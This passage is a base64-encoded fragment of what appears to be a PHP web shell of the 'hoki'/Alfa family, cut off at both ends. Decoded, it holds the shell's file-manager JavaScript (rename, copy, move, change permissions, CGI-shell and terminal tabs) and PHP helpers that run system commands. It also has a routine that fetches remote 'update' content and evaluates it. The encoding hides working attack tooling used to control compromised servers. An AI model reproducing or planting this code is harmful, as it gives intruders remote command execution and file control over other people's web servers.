mlubmVySFRNTDtzLnNldEF0dHJpYnV0ZSgicGVybSIscC50cmltKCkpfWNhdGNoKGUpe31icmVhaztjYXNlImxpbmsiOnMuc3R5bGUuZGlzcGxheT0iYmxvY2siO3ZhciBmPSI8P3BocCBlY2hvICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07ID8+LyIsbT0oY18rIi8iK2EpLnJlcGxhY2UoL1wvXC8vZywiLyIpO2lmKC0xIT1tLmluZGV4T2YoZikpe2Y9bS5yZXBsYWNlKGYsIiIpO3ZhciBiPWxvY2F0aW9uLm9yaWdpbisiLyIrZjtzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiIrYil9ZWxzZSBzLnN0eWxlLmRpc3BsYXk9Im5vbmUifX12YXIgeT1lLmNsaWVudFgsXz1lLmNsaWVudFk7aG9raVJpZ2h0Q2xpY2tNZW51KHksXyksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBob2tpRmlsZXNNYW5OZXdUYWIoZSx0LGEpe3ZhciBpPXQ7dm9pZCAwIT09YSYmKGk9aG9raUdldExhc3RGb2xkZXJOYW1lKGUpKTt2YXIgbD1kZWNvZGVVUklDb21wb25lbnQoZSsiLyIrdCk7bD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpO3ZhciByPSQoImZpbGVzbWFuX3RhYl8xIiksbz1yLmdldEF0dHJpYnV0ZSgiZm1fY291bnRlciIpO289cGFyc2VJbnQobykrMSxyLnNldEF0dHJpYnV0ZSgiZm1fY291bnRlciIsbyksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFic19jaGlsZCIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvbm1vdXNlb3Zlcj0iaG9raUZpbGVzbWFuVGFiU2hvd1RpdGxlKHRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iaG9raUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgcGF0aD0iJytsKyciIGlkPSJmaWxlc21hbl90YWJfJytvKyciIGZtX2lkPSInK28rJyIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250cm9sbGVyKHRoaXMpOyIgZm5hbWU9IicrdCsnIiBjbGFzcz0iZmlsZXNtYW5fdGFiIj48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRlcjIuc3ZnIj4gPHNwYW4gY2xhc3M9ImZpbGVzbWFuLXRhYi1mb2xkZXItbmFtZSI+JytpKyc8L3NwYW4+IDxpbWcgZm1faWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZUZtVGFiKHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJbY2xvc2VdIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnIj48L2Rpdj4nKSxkLnF1ZXJ5U2VsZWN0b3IoIi5hamF4YXJlYSIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSInK28rJyIgaWQ9ImZpbGVzbWFuX2hvbGRlcl8nK28rJyIgY2xhc3M9ImFqYXhhcmVhIj48ZGl2IGNsYXNzPSJoZWFkZXIiPjwvZGl2PjwvZGl2PicpLGhva2lfZm1faWQ9byxnKCJGaWxlc01hbiIsbCksaG9raV9mbV9pZD0wfWZ1bmN0aW9uIGhva2lGaWxlc21hblRhYlNob3dUaXRsZShlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpO2Euc3R5bGUuZGlzcGxheT0iYmxvY2siLGEuc3R5bGUudG9wPWUub2Zmc2V0VG9wLTM3KyJweCIsYS5zdHlsZS5sZWZ0PWUub2Zmc2V0TGVmdC0kKCJmaWxlc21hbl90YWJzIikuc2Nyb2xsTGVmdCsicHgiLGEuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJwYXRoIil9ZnVuY3Rpb24gaG9raUZpbGVzbWFuVGFiSGlkZVRpdGxlKGUsdCl7JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIGhva2lQb3B1cEFjdGlvbihlLHQpe3ZhciBhPSIiLGk9IiI7c3dpdGNoKHQpe2Nhc2UicmVuYW1lIjphPSJPbGQgZmlsZSBuYW1lOiIsaT0iTmV3IGZpbGUgbmFtZToiO2JyZWFrO2Nhc2UiY29weSI6YT0iRmlsZSBwYXRoOiIsaT0iRW50ZXIgdGhlIGZpbGUgcGF0aCB0aGF0IHlvdSB3YW50IHRvIGNvcHkgdGhpcyBmaWxlIHRvOiI7YnJlYWs7Y2FzZSJtb3ZlIjphPSJDdXJyZW50IFBhdGg6IixpPSJFbnRlciB0aGUgZmlsZSBwYXRoIHRoYXQgeW91IHdhbnQgdG8gbW92ZSB0aGlzIGZpbGUgdG86IjticmVhaztjYXNlImV4dHJhY3QiOmE9IkZpbGVzIHRvIGV4dHJhY3Q6IixpPSJFbnRlciB0aGUgcGF0aCB5b3Ugd2lzaCB0byBleHRyYWN0IHRoZSBmaWxlcyB0byBhbmQgY2xpY2sgRXh0cmFjdDoifXZhciBsPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLHI9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKSxvPXQuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrdC5zbGljZSgxKTtpZigicGVybWlzc2lvbiI9PXQpe2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIiKS5zdHlsZS5oZWlnaHQ9IjIyMnB4IixvPSJDaGFuZ2UgUGVybWlzc2lvbnMiLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gLnBlcm0tdGFibGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS5zdHlsZS5kaXNwbGF5PSJub25lIjt2YXIgbj1lLmdldEF0dHJpYnV0ZSgicGVybSIpLHM9bi5zdWJzdHIoMSwxKSxjPW4uc3Vic3RyKDIsMSksdT1uLnN1YnN0cigzLDEpO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Z10iKS52YWx1ZT1jLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9d10iKS52YWx1ZT11LGF1dG9DaGVja1Blcm1zKHMsInUiLFsidSIsImciLCJ3Il0pLGF1dG9DaGVja1Blcm1zKGMsImciKSxhdXRvQ2hlY2tQZXJtcyh1LCJ3Iil9ZWxzZSBkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIikuc3R5bGUuaGVpZ2h0PSIxOTBweCIsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5wZXJtLXRhYmxlLWhvbGRlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiO3ZhciBwPSJtb3ZlIj09dHx8ImNvcHkiPT10P3IrbDpsO2lmKCJtb2RpZnkiPT10KXt2YXIgZj0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO3A9ZC5xdWVyeVNlbGVjdG9yKCIjIitmKyIgLm1haW5fbW9kaWZ5IikuaW5uZXJUZXh0fWQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgLnBvcHVwLWhlYWQiKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5vbGQtcGF0aC1sYmwiKS5pbm5lckhUTUw9YSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5uZXctZmlsZW5hbWUtbGJsIikuaW5uZXJIVE1MPWksZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciAucG9wdXAtZm9vdCA+IGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPXIrbCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IGlucHV0W25hbWU9Zm5hbWVdIikudmFsdWU9cCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImZpZCIsZS5nZXRBdHRyaWJ1dGUoImZpZCIpKSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsdCl9ZnVuY3Rpb24gY2FsY3Blcm0oKXt2YXIgZT1ldmVudC5zcmNFbGVtZW50O2F1dG9DaGVja1Blcm1zKGUuY2hlY2tlZCxlLm5hbWUuc3Vic3RyKDAsMSkpfWZ1bmN0aW9uIGF1dG9DaGVja1Blcm1zKGUsdCxhKXtpZih2b2lkIDAhPT1hKWZvcih2YXIgaSBpbiBhKXt2YXIgbD1hW2ldO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9IitsKyJyXSIpLmNoZWNrZWQ9ITEsZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK2wrInddIikuY2hlY2tlZD0hMSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrbCsieF0iKS5jaGVja2VkPSExfXZhciByPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Iit0KyJyXSIpLG89ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK3QrInddIiksbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrdCsieF0iKTtpZigiYm9vbGVhbiIhPXR5cGVvZiBlKSI3Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCxuLmNoZWNrZWQ9ITApOiI0Ij09ZT9yLmNoZWNrZWQ9ITA6IjIiPT1lP28uY2hlY2tlZD0hMDoiMSI9PWU/bi5jaGVja2VkPSEwOiI2Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCk6IjMiPT1lPyhvLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKToiNSI9PWUmJihyLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKTtlbHNle3ZhciBzPTA7ci5jaGVja2VkJiYocys9NCksby5jaGVja2VkJiYocys9Miksbi5jaGVja2VkJiYocys9MSksInUiPT10P2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zOiJnIj09dD9kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWU9czoidyI9PXQmJihkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU9cyl9fWZ1bmN0aW9uIGdnKGUsdCxhLGksbCxyKXt2YXIgbz0iZmlsZXNtYW5faG9sZGVyXyIraG9raV9jdXJyZW50X2ZtX2lkO2hva2lsb2FkZXIobywiYmxvY2siKSxkYXRhPSJhPSIraG9raWI2NChlKSsiJmM9Iitob2tpYjY0KHQpKyImaG9raTE9Iitob2tpYjY0KGEpKyImaG9raTI9Iitob2tpYjY0KGkpKyImaG9raTM9Iitob2tpYjY0KGwpKyImYWpheD0iK2hva2liNjQoInRydWUiKSxfQWpheChkLlVSTCxkYXRhLHIsITEsbyl9ZnVuY3Rpb24gaG9raVBvcFVwRG9BY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpO3N3aXRjaCh0KXtjYXNlInJlbmFtZSI6Y2FzZSJtb3ZlIjpjYXNlImNvcHkiOnZhciBhPWUuZ2V0QXR0cmlidXRlKCJmaWQiKS5yZXBsYWNlKCJpZF8iLCIiKSxpPSQoImlkXyIrYSkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlO2w9bC50cmltKCksaT1pLnRyaW0oKSxnZygiZG9BY3Rpb25zIixjXyxpLGwsdCxmdW5jdGlvbihlLGkpe2lmKCJyZW5hbWUiPT10KWlmKCJkb25lIj09ZSl7dmFyIHI9JCgiaWRfIithKTt1cGRhdGVGaWxlRWRpdG9yKGEsbCk7dmFyIG89ci5nZXRBdHRyaWJ1dGUoInBhdGgiKSskKCJpZF8iK2EpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPW8sci5hZGRFdmVudExpc3RlbmVyKCJhbmltYXRpb25lbmQiLGZ1bmN0aW9uKCl7ci5jbGFzc0xpc3QucmVtb3ZlKCJ0ZXh0RWZmZWN0Iil9KSxyLmNsYXNzTGlzdC5hZGQoInRleHRFZmZlY3QiKSxob2tpU2hvd05vdGlmaWNhdGlvbigiUmVuYW1lZC4uLiIsIlJlbmFtZSBBY3Rpb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWVsc2UgaG9raVNob3dOb3RpZmljYXRpb24oImVycm9yLi4uISIsIlJlbmFtZSBBY3Rpb24iLCJlcnJvciIpO2hva2lsb2FkZXIoaSwibm9uZSIpfSk7YnJlYWs7Y2FzZSJwZXJtaXNzaW9uIjp2YXIgcj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXVdIikudmFsdWUsbz1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWUsbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU7aT0oaT1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MKS50cmltKCk7dmFyIHM9ci50cmltKCkrby50cmltKCkrbi50cmltKCk7Z2coImRvQWN0aW9ucyIsY18saSxzLHQsZnVuY3Rpb24oZSx0KXtob2tpbG9hZGVyKHQsIm5vbmUiKSxob2tpU2hvd05vdGlmaWNhdGlvbihlLCJQZXJtaXNzaW9uIEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9KTticmVhaztjYXNlIm1vZGlmeSI6YT1lLmdldEF0dHJpYnV0ZSgiZmlkIikucmVwbGFjZSgiaWRfIiwiIik7dmFyIGM9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlLHU9JCgiaWRfIithKS5nZXRBdHRyaWJ1dGUoImZuYW1lIik7Z2coImRvQWN0aW9ucyIsY18sYyx1LHQsZnVuY3Rpb24odCxhKXtpZigib2siPT10KXt2YXIgaT0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO2QucXVlcnlTZWxlY3RvcigiIyIraSsiIC5tYWluX21vZGlmeSIpLmlubmVySFRNTD1jLGhva2lTaG93Tm90aWZpY2F0aW9uKCJzdWNjZXNzLi4uIiwiTW9kaWZ5IEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9ZWxzZSBob2tpU2hvd05vdGlmaWNhdGlvbih0LCJNb2RpZnkgQWN0aW9uIiwiZXJyb3IiKTtob2tpbG9hZGVyKGEsIm5vbmUiKX0pfX1mdW5jdGlvbiBob2tpSW5pdFNvcmF0YWJsZVRhYihlKXtTb3J0YWJsZS5jcmVhdGUoZSx7ZGlyZWN0aW9uOiJob3Jpem9udGFsIixhbmltYXRpb246MzAwLGdob3N0Q2xhc3M6InNvcnRhYmxlLWdob3N0IixmaWx0ZXI6Ii5ub3Qtc29ydGFibGUifSl9JCgic2VhcmNoLWlucHV0IikuYWRkRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsZnVuY3Rpb24oZSl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBlPSQoInNlYXJjaC1pbnB1dCIpLnZhbHVlO2Zvcih2YXIgdCBpbiBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImhpc3RvcnktbGlzdCIpWzBdLmlubmVySFRNTD0iIixlZGl0b3JfZmlsZXMpaWYoLTEhPWVkaXRvcl9maWxlc1t0XS5maWxlLnNlYXJjaChlKXx8IiI9PWUpe3ZhciBhPTA7dD09ZWRpdG9yX2N1cnJlbnRfZmlsZSYmKGE9IiBpc19hY3RpdmUiKSxpbnNlcnRUb0hpc3RvcnkodCxlZGl0b3JfZmlsZXNbdF0uZmlsZSxhLGVkaXRvcl9maWxlc1t0XS50eXBlKX19LDEwMCl9LCExKSxfQWpheChkLlVSTCwiYT0iK2hva2liNjQoImNoZWNrdXBkYXRlIiksZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgmJiJbXSIhPWUpe3ZhciB0PUpTT04ucGFyc2UoZSk7aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29udGVudCIpKXtkLmJvZHkuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLHQuY29udGVudCk7dHJ5e2V2YWxKUyh0LmNvbnRlbnQpfWNhdGNoKHQpe319aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29weXJpZ2h0IikmJigkKCJob2tpLWNvcHlyaWdodCIpLmlubmVySFRNTD10LmNvcHlyaWdodCksdC5oYXNPd25Qcm9wZXJ0eSgia2lzZXJ5b3VuaSIpJiYoJCgiaG9raV9raXNlcnlvdW5pIikuaW5uZXJIVE1MPXQua2lzZXJ5b3VuaSksdC5oYXNPd25Qcm9wZXJ0eSgiY29kZV9uYW1lIikmJigkKCJoaWRkZW5fc2giKS5pbm5lckhUTUw9dC5jb2RlX25hbWUucmVwbGFjZSgvXHt2ZXJzaW9uXH0vZyx0LnZlcnNpb25fbnVtYmVyKSksdC5oYXNPd25Qcm9wZXJ0eSgibWFya2V0Iikpe3ZhciBhPWQucXVlcnlTZWxlY3Rvcigic3Bhbi5ob2tpX3BsdXMiKTtpZih0Lm1hcmtldC5oYXNPd25Qcm9wZXJ0eSgidmlzaWJsZSIpJiYieWVzIj09dC5tYXJrZXQudmlzaWJsZSYmKCQoIm1lbnVfb3B0X21hcmtldCIpLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLCJvcGVuIiE9dC5tYXJrZXQuc3RhdHVzJiYoYS5zdHlsZS5jb2xvcj0iI2ZmYzEwNyIpLHQubWFya2V0Lmhhc093blByb3BlcnR5KCJjb250ZW50IikpdHJ5e2V2YWxKUyh0Lm1hcmtldC5jb250ZW50KX1jYXRjaCh0KXt9fX19KSw8P3BocCBlY2hvICRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXTsgPz4/X0FqYXgoZC5VUkwsImE9Iitob2tpYjY0KCJ1cGRhdGVoZWFkZXIiKSxmdW5jdGlvbihlKXt0cnl7dmFyIHQ9SlNPTi5wYXJzZShlKTtmb3IodmFyIGEgaW4gdCl7Zm9yKHZhciBpPSIiLGw9MDtsPHRbYV0ubGVuZ3RoO2wrKylpKz0idXNlZnVsIj09YXx8ImRvd25sb2FkZXIiPT1hPyc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nK3RbYV1bbF0rIjwvc3Bhbj4iOnRbYV1bbF07dmFyIHI9JCgiaGVhZGVyXyIrYSk7ciYmKHIuaW5uZXJIVE1MPWkpfSQoImhlYWRlcl9jZ2lzaGVsbCIpLmlubmVySFRNTD0iT04iLCQoImhlYWRlcl9jZ2lzaGVsbCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJoZWFkZXJfb24iKX1jYXRjaChlKXt9fSk6aXNsaW51eCYmX0FqYXgoZC5VUkwsImE9Iitob2tpYjY0KCJjaGVja2NnaSIpLGZ1bmN0aW9uKGUpeyJvayI9PWUmJigkKCJoZWFkZXJfY2dpc2hlbGwiKS5pbm5lckhUTUw9Ik9OIiwkKCJoZWFkZXJfY2dpc2hlbGwiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiaGVhZGVyX29uIikpfSksZnVuY3Rpb24oKXtkLm9uY2xpY2s9ZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSExLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSEwfSw2MDApfSx3aW5kb3cub25oYXNoY2hhbmdlPWZ1bmN0aW9uKGUpe2Nhbl9oYXNoY2hhbmdlX3dvcmsmJmhva2lDaGVja1VybEhhc2goKX0saG9raUNoZWNrVXJsSGFzaCgpLGhva2lnZXRGbGFncygpLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PSQoInJpZ2h0Y2xpY2tfbWVudSIpLnN0eWxlLGhva2lJbml0Q3dkQ29udGV4dCgpLGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC5vcGFjaXR5PSIwIixzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudmlzaWJpbGl0eT0iaGlkZGVuIn0sNTAxKX0sITEpO3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Uuc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9Tb3J0YWJsZS8xLjEwLjIvU29ydGFibGUubWluLmpzIixlLmlkPSJzb3J0YWJsZS1wbHVnaW4iLGUub25sb2FkPWZ1bmN0aW9uKCl7aG9raUluaXRTb3JhdGFibGVUYWIoJCgiZmlsZXNtYW5fdGFic19jaGlsZCIpKSxob2tpSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpKSxob2tpSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX3RhYiIpKSxob2tpSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWJzIikpLGhva2lJbml0U29yYXRhYmxlVGFiKGQucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIikpfSxkLmJvZHkuYXBwZW5kQ2hpbGQoZSl9KCk7Cjwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7CmZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQpmdW5jdGlvbiBob2tpV2hpY2goJHApIHsKJHBhdGggPSBob2tpRXgoJ3doaWNoICcgLiAkcCxmYWxzZSxmYWxzZSk7CmlmKCFlbXB0eSgkcGF0aCkpCnJldHVybiBzdHJsZW4oJHBhdGgpOwpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gaG9raVNpemUoJHMpIHsKaWYoJHMgPj0gMTA3Mzc0MTgyNCkKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwplbHNlaWYoJHMgPj0gMTA0ODU3NikKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKZWxzZWlmKCRzID49IDEwMjQpCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CmVsc2UKcmV0dXJuICRzIC4gJyBCJzsKfQpmdW5jdGlvbiBob2tpUGVybXMoJHApIHsKaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3PigIsnOwplbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2zigIsnOwplbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy3igIsnOwplbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2LigIsnOwplbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2TigIsnOwplbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2PigIsnOwplbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3DigIsnOwplbHNlICRpID0gJ3XigIsnOwokaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdy4oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwODApID8gJ3figIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdz4oCLJyA6ICd44oCLJyApIDogKCgkcCAmIDB4MDgwMCkgPyAnU+KAiycgOiAnLScpKTsKJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncuKAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd34oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAnc+KAiycgOiAneOKAiycgKSA6ICgoJHAgJiAweDA0MDApID8gJ1PigIsnIDogJy0nKSk7CiRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3LigIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAnd+KAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3TigIsnIDogJ3jigIsnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdU4oCLJyA6ICctJykpOwpyZXR1cm4gJGk7Cn0KZnVuY3Rpb24gaG9raVBlcm1zQ29sb3IoJGYsJGlzYmFzaD1mYWxzZSl7CiRjbGFzcyA9ICIiOwokbnVtID0gIiI7CiRodW1hbiA9ICIiOwppZigkaXNiYXNoKXsKJGNsYXNzID0gJ